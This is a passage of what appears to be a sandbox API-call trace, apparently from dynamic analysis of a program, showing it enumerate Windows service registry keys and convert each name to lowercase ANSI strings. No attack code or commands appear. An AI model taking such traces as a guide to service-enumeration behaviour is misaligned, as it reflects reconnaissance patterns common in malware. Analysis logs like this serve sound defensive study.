cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0251.266] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1da8 [0251.266] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="appidsvc", cchWideChar=8, lpMultiByteStr=0x21f1da8, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="appidsvc", lpUsedDefaultChar=0x0) returned 8 [0251.266] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1b68 [0251.266] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1da8) returned 1 [0251.266] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1b68) returned 1 [0251.266] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0251.266] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x1c, lpName=0x2152850, cchName=0x104 | out: lpName="Appinfo") returned 0x0 [0251.266] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0251.266] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="appinfo", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0251.266] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1b68 [0251.266] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="appinfo", cchWideChar=7, lpMultiByteStr=0x21f1b68, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="appinfo", lpUsedDefaultChar=0x0) returned 7 [0251.266] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1da8 [0251.266] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1b68) returned 1 [0251.266] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1da8) returned 1 [0251.266] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0251.266] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x1d, lpName=0x2152850, cchName=0x104 | out: lpName="AppMgmt") returned 0x0 [0251.266] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0251.267] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="appmgmt", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0251.267] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1da8 [0251.267] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="appmgmt", cchWideChar=7, lpMultiByteStr=0x21f1da8, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="appmgmt", lpUsedDefaultChar=0x0) returned 7 [0251.267] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1b68 [0251.267] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1da8) returned 1 [0251.267] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1b68) returned 1 [0251.267] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0251.267] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x1e, lpName=0x2152850, cchName=0x104 | out: lpName="arc") returned 0x0 [0251.267] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0251.267] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="arc", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0251.267] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1b68 [0251.267] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="arc", cchWideChar=3, lpMultiByteStr=0x21f1b68, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="arc", lpUsedDefaultChar=0x0) returned 3 [0251.267] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1da8 [0251.267] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1b68) returned 1 [0251.267] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1da8) returned 1 [0251.267] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0251.267] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x1f, lpName=0x2152850, cchName=0x104 | out: lpName="arcsas") returned 0x0 [0251.267] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0251.267] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="arcsas", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0251.267] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1da8 [0251.267] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="arcsas", cchWideChar=6, lpMultiByteStr=0x21f1da8, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="arcsas", lpUsedDefaultChar=0x0) returned 6 [0251.267] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1b68 [0251.267] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1da8) returned 1 [0251.267] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1b68) returned 1 [0251.267] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0251.267] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x20, lpName=0x2152850, cchName=0x104 | out: lpName="ASP.NET") returned 0x0 [0251.267] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0251.267] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="asp.net", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0251.267] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1b68 [0251.267] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="asp.net", cchWideChar=7, lpMultiByteStr=0x21f1b68, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="asp.net", lpUsedDefaultChar=0x0) returned 7 [0251.267] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1da8 [0251.268] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1b68) returned 1 [0251.268] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1da8) returned 1 [0251.268] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0251.268] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x21, lpName=0x2152850, cchName=0x104 | out: lpName="ASP.NET_4.0.30319") returned 0x0 [0251.268] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0251.268] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="asp.net_4.0.30319", cchWideChar=17, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 17 [0251.268] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1da8 [0251.268] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="asp.net_4.0.30319", cchWideChar=17, lpMultiByteStr=0x21f1da8, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="asp.net_4.0.30319", lpUsedDefaultChar=0x0) returned 17 [0251.268] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1b68 [0251.268] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1da8) returned 1 [0251.268] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1b68) returned 1 [0251.268] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0251.268] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x22, lpName=0x2152850, cchName=0x104 | out: lpName="aspnet_state") returned 0x0 [0251.268] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0251.268] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="aspnet_state", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0251.268] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1b68 [0251.268] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="aspnet_state", cchWideChar=12, lpMultiByteStr=0x21f1b68, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="aspnet_state", lpUsedDefaultChar=0x0) returned 12 [0251.268] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1da8 [0251.268] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1b68) returned 1 [0251.268] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1da8) returned 1 [0251.268] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0251.268] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x23, lpName=0x2152850, cchName=0x104 | out: lpName="AsyncMac") returned 0x0 [0251.268] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0251.268] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="asyncmac", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0251.268] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1da8 [0251.268] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="asyncmac", cchWideChar=8, lpMultiByteStr=0x21f1da8, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="asyncmac", lpUsedDefaultChar=0x0) returned 8 [0251.268] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1b68 [0251.268] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1da8) returned 1 [0251.268] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1b68) returned 1 [0251.268] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0251.268] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x24, lpName=0x2152850, cchName=0x104 | out: lpName="atapi") returned 0x0 [0251.268] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0251.269] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="atapi", cchWideChar=5, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5 [0251.269] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1b68 [0251.269] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="atapi", cchWideChar=5, lpMultiByteStr=0x21f1b68, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="atapi", lpUsedDefaultChar=0x0) returned 5 [0251.269] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1da8 [0251.269] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1b68) returned 1 [0251.269] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1da8) returned 1 [0251.269] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0251.269] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x25, lpName=0x2152850, cchName=0x104 | out: lpName="AudioEndpointBuilder") returned 0x0 [0251.269] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0251.269] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="audioendpointbuilder", cchWideChar=20, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 20 [0251.269] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1da8 [0251.269] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="audioendpointbuilder", cchWideChar=20, lpMultiByteStr=0x21f1da8, cbMultiByte=20, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="audioendpointbuilder", lpUsedDefaultChar=0x0) returned 20 [0251.269] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1b68 [0251.269] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1da8) returned 1 [0251.269] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1b68) returned 1 [0251.269] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0251.269] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x26, lpName=0x2152850, cchName=0x104 | out: lpName="AudioSrv") returned 0x0 [0251.269] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0251.269] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="audiosrv", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0251.269] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1b68 [0251.269] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="audiosrv", cchWideChar=8, lpMultiByteStr=0x21f1b68, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="audiosrv", lpUsedDefaultChar=0x0) returned 8 [0251.269] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1da8 [0251.269] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1b68) returned 1 [0251.269] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1da8) returned 1 [0251.269] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0251.269] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x27, lpName=0x2152850, cchName=0x104 | out: lpName="AxInstSV") returned 0x0 [0251.269] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0251.269] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="axinstsv", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0251.269] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1da8 [0251.269] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="axinstsv", cchWideChar=8, lpMultiByteStr=0x21f1da8, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="axinstsv", lpUsedDefaultChar=0x0) returned 8 [0251.269] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1b68 [0251.270] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1da8) returned 1 [0251.270] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1b68) returned 1 [0251.270] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0251.270] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x28, lpName=0x2152850, cchName=0x104 | out: lpName="b06bdrv") returned 0x0 [0251.270] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0251.270] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="b06bdrv", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0251.270] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1b68 [0251.270] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="b06bdrv", cchWideChar=7, lpMultiByteStr=0x21f1b68, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="b06bdrv", lpUsedDefaultChar=0x0) returned 7 [0251.270] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1da8 [0251.270] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1b68) returned 1 [0251.270] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1da8) returned 1 [0251.270] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0251.270] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x29, lpName=0x2152850, cchName=0x104 | out: lpName="b57nd60a") returned 0x0 [0251.270] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0251.270] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="b57nd60a", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0251.270] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1da8 [0251.270] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="b57nd60a", cchWideChar=8, lpMultiByteStr=0x21f1da8, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="b57nd60a", lpUsedDefaultChar=0x0) returned 8 [0251.270] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1b68 [0251.270] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1da8) returned 1 [0251.270] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1b68) returned 1 [0251.270] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0251.270] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x2a, lpName=0x2152850, cchName=0x104 | out: lpName="BattC") returned 0x0 [0251.270] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0251.270] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="battc", cchWideChar=5, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5 [0251.270] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1b68 [0251.270] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="battc", cchWideChar=5, lpMultiByteStr=0x21f1b68, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="battc", lpUsedDefaultChar=0x0) returned 5 [0251.270] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1da8 [0251.270] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1b68) returned 1 [0251.270] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1da8) returned 1 [0251.270] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0251.270] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x2b, lpName=0x2152850, cchName=0x104 | out: lpName="BDESVC") returned 0x0 [0251.270] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0251.271] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bdesvc", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0251.271] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1da8 [0251.271] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bdesvc", cchWideChar=6, lpMultiByteStr=0x21f1da8, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="bdesvc", lpUsedDefaultChar=0x0) returned 6 [0251.271] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1b68 [0251.271] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1da8) returned 1 [0251.271] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1b68) returned 1 [0251.271] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0251.271] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x2c, lpName=0x2152850, cchName=0x104 | out: lpName="Beep") returned 0x0 [0251.271] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0251.271] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="beep", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0251.271] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1b68 [0251.271] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="beep", cchWideChar=4, lpMultiByteStr=0x21f1b68, cbMultiByte=4, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="beep", lpUsedDefaultChar=0x0) returned 4 [0251.271] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1da8 [0251.271] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1b68) returned 1 [0251.271] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1da8) returned 1 [0251.271] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0251.271] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x2d, lpName=0x2152850, cchName=0x104 | out: lpName="BFE") returned 0x0 [0251.271] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0251.271] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bfe", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0251.271] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1da8 [0251.271] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bfe", cchWideChar=3, lpMultiByteStr=0x21f1da8, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="bfe", lpUsedDefaultChar=0x0) returned 3 [0251.271] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1b68 [0251.271] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1da8) returned 1 [0251.271] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1b68) returned 1 [0251.271] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0251.271] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x2e, lpName=0x2152850, cchName=0x104 | out: lpName="BITS") returned 0x0 [0251.271] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0251.271] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bits", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0251.271] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1b68 [0251.271] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bits", cchWideChar=4, lpMultiByteStr=0x21f1b68, cbMultiByte=4, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="bits", lpUsedDefaultChar=0x0) returned 4 [0251.271] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1da8 [0251.272] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1b68) returned 1 [0251.272] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1da8) returned 1 [0251.272] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0251.272] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x2f, lpName=0x2152850, cchName=0x104 | out: lpName="blbdrive") returned 0x0 [0251.272] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0251.272] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="blbdrive", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0251.272] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1da8 [0251.272] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="blbdrive", cchWideChar=8, lpMultiByteStr=0x21f1da8, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="blbdrive", lpUsedDefaultChar=0x0) returned 8 [0251.272] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1b68 [0251.272] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1da8) returned 1 [0251.272] RtlFreeHeap (HeapHandle=0x2520000, 